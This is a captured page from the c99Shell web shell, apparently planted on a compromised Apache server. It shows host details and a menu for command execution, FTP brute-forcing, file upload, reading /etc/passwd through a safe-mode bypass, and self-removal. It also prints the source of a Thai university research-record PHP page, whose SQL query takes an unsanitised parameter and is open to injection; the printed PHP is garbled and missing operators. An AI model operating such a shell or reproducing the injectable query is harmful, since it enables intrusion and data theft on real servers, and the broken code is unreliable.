!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ResearchDetail.php (9.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../include/FunctionDB.php");
ConnectDB();
 
//$sql = "Select * From personal_tb as t,research_tb as r Where t.Teacher_code = r.Teacher_code and r.Research_code='$Research_code'";
 
$sql "Select * From research_tb Where Research_code=$Research_code";
$result mysql_query($sql) or die(" Error").mysql_error();
$rs mysql_fetch_array($result)
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>History Detail</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link rel="stylesheet" href="../teacher/css/cart3.css" type="text/css">
</head>

<body bgcolor="#FFFFFF" topmargin="0">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td> <div align="center"></div></td>
  </tr>
</table>
<table width="78%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#999999" bgcolor="#E8E1C8"style="background-color:#eeeeee; border:1px solid gray"size="12">
  <form action="../teacher/research/FrmEditPersonal.php" method="$_POST">
    <!--DWLayoutTable-->
    <tr bgcolor="#FFCC99"> 
      <td colspan="3"> <div align="center"><font color="#CC6633" size="4" face="Tahoma"><strong>แสดงรายละเอียดงานวิจัย</strong></font></div></td>
    </tr>
    <tr> 
      <td width="155" height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> 
        <div align="center"><font color="#003366" size="2" face="Tahoma">ชื่องานวิจัย</font></div></td>
      <td nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#E5E5E5"><font color="#000000" size="2" face="Tahoma"><? echo $rs[Research_name?></font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">ประเภทงานวิจัย</font></div></td>
      <td nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#E5E5E5"><font color="#000000" size="2" face="Tahoma"><? echo $rs[Research_type?></font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">ลักษณะงานวิจัย</font></div></td>
      <td nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#E5E5E5"><font color="#000000" size="2" face="Tahoma"><? echo $rs[Research_char?></font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">สาขาวิชา</font></div></td>
      <td width="12" nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td width="425" nowrap bgcolor="#E5E5E5"> <font color="#000000" size="2" face="Tahoma"> 
        <? echo $rs[Branch?> </font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">ชื่อผู้วิจัย</font></div></td>
      <td width="12" nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td width="425" nowrap bgcolor="#E5E5E5"> <font color="#000000" size="2" face="Tahoma"> 
        <?php
            
echo"$rs[First_name]";
      
?>
        <?php
            
echo"$rs[Teacher_name]";
      
?>
        <?php
              
echo"$rs[Teacher_lastname]";
      
?>
        </font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">ปีที่เริ่มทำ</font></div></td>
      <td nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#E5E5E5"> <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr> 
            <td width="30%"> <div align="center"><font color="#000000" size="2" face="Tahoma"><? echo $rs[Year_start?></font></div></td>
            <td width="30%" bgcolor="#eeeeee"> <div align="center"><font color="#003366" size="2" face="Tahoma">ปีที่แล้วเสร็จ</font></div></td>
            <td width="30%"> <div align="center"><font color="#000000" size="2" face="Tahoma"><? echo $rs[Year_finish?></font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">ตำแหน่งการวิจัย</font></div></td>
      <td width="12" nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td width="425" nowrap bgcolor="#E5E5E5"> <font color="#000000" size="2" face="Tahoma"> 
        <? echo  $rs[R_position]?> </font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">ผู้ร่วมวิจัย1</font></div></td>
      <td width="12" nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td width="425" nowrap bgcolor="#EEEEEE"> <font color="#000000" size="2" face="Tahoma"> 
        <? echo $rs[name1?> </font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">ผู้ร่วมวิจัย2</font></div></td>
      <td width="12" nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td width="425" nowrap bgcolor="#EEEEEE"> <font color="#000000" size="2" face="Tahoma"> 
        <? echo $rs[name2?> </font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">ผู้ร่วมวิจัย3</font></div></td>
      <td width="12" nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td width="425" nowrap bgcolor="#EEEEEE"> <font color="#000000" size="2" face="Tahoma"> 
        <?echo $rs[name3?> </font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">ผู้ร่วมวิจัย4</font></div></td>
      <td width="12" nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td width="425" nowrap bgcolor="#EEEEEE"> <font color="#000000" size="2" face="Tahoma"> 
        <? echo $rs[name4] ;?> </font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">ผู้ร่วมวิจัย5</font></div></td>
      <td width="12" nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td width="425" nowrap bgcolor="#EEEEEE"><font color="#000000" size="2" face="Tahoma"> 
        <? echo $rs[name5];?> </font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">เงินทุน</font></div></td>
      <td nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#E5E5E5"> <font color="#000000" size="2" face="Tahoma"><? echo $rs[Fund?>&nbsp;&nbsp;&nbsp;</font><font color="#003366" size="2" face="Tahoma">บาท</font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"><div align="center"><font color="#003366" size="2" face="Tahoma">แหล่งเงินทุน</font></div></td>
      <td nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#E5E5E5"><font color="#000000" size="2" face="Tahoma"><? echo $rs[Fund_resource?>&nbsp;&nbsp;&nbsp;<font color="#003366">จาก</font>&nbsp;&nbsp;&nbsp;<? echo $rs[Resource_des?></font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">ประโยชน์</font></div></td>
      <td nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#E5E5E5"><font color="#000000" size="2" face="Tahoma"><? echo nl2br($rs[Benifit]) ?></font></td>
    </tr>
    <tr>
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"><div align="center"><font color="#003366" size="2" face="Tahoma">การเผยแพร่</font></div></td>
      <td nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#E5E5E5"><font color="#000000" size="2" face="Tahoma"><? echo $rs[Propagate?></font><font color="#003366" size="2" face="Tahoma">&nbsp; 
        </font><font color="#000000" size="2" face="Tahoma"><? echo $rs[Propagate_des?></font><font color="#003366" size="2" face="Tahoma">&nbsp; 
        </font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">ลักษณการเผยแพร่</font></div></td>
      <td nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#E5E5E5"><font color="#000000" size="2" face="Tahoma"><? echo $rs[Prop_type?></font></td>
    </tr>
    <tr> 
      <td height="20" nowrap bordercolor="#D8D2A9" bgcolor="#CCCCCC"> <div align="center"><font color="#003366" size="2" face="Tahoma">ปีที่เผยแพร่</font></div></td>
      <td nowrap bgcolor="#E5E5E5"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#E5E5E5"><font color="#000000" size="2" face="Tahoma"><? echo $rs[Year_prop?></font></td>
    </tr>
    <tr bgcolor="#FFCC99"> 
      <td height="26" colspan="3"> <div align="center"> </div></td>
    </tr>
  </form>
</table>
<p>&nbsp;</p>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0142 ]--